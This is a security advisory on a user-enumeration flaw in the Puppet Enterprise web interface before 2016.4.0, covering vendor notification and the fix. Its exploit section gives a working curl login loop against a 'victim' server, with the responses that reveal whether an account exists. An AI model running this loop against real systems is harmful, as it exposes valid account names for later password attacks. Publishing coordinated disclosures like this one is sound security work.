[+] Credits: John Page aka hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/PUPPET-USER-ENUMERATION.txt [+] ISR: ApparitionSec Vendor: ============== www.puppet.com Product: =============================== Puppet Enterprise Web Interface Tested in version < 2016.4.0 Puppet Enterprise is the leading platform for automatically delivering, operating and securing your infrastructure. Vulnerability Type: =================== User Enumeration CVE Reference: ============== N/A Vulnerability Details: ===================== By sending remote HTTP request to Puppet Enterprise Web Interface it is possible to enumerate valid user account names by sending more than 10 requests. If user does not exist we will continue to get 'Authentication failed.' HTTP response from the victim server. However, if the user does exist we will no longer receive such a message confirming the user exists. Exploit code(s): ================ Send login request 11 times, after 10 we will know if user exists or not. FOR /l %i in (1,1,11) DO curl -k https://victim-puppet-server/auth/login?redirect=Enum-Users -d username=IDONTEXIST -d password=1 HTTP 200 OK 'Authentication failed.' FOR /l %i in (1,1,11) DO curl -k https://victim-puppet-server/auth/login?redirect=Enum-Users -d username=BOZO -d password=1 HTTP 200 OK Disclosure Timeline: ======================================= Vendor Notification: August 23, 2016 Vendor Acknowledgement: August 23, 2016 Vendor Releases Version: 2016.4.0 October 17, 2016 : Public Disclosure Severity Level: ================ Low [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. hyp3rlinx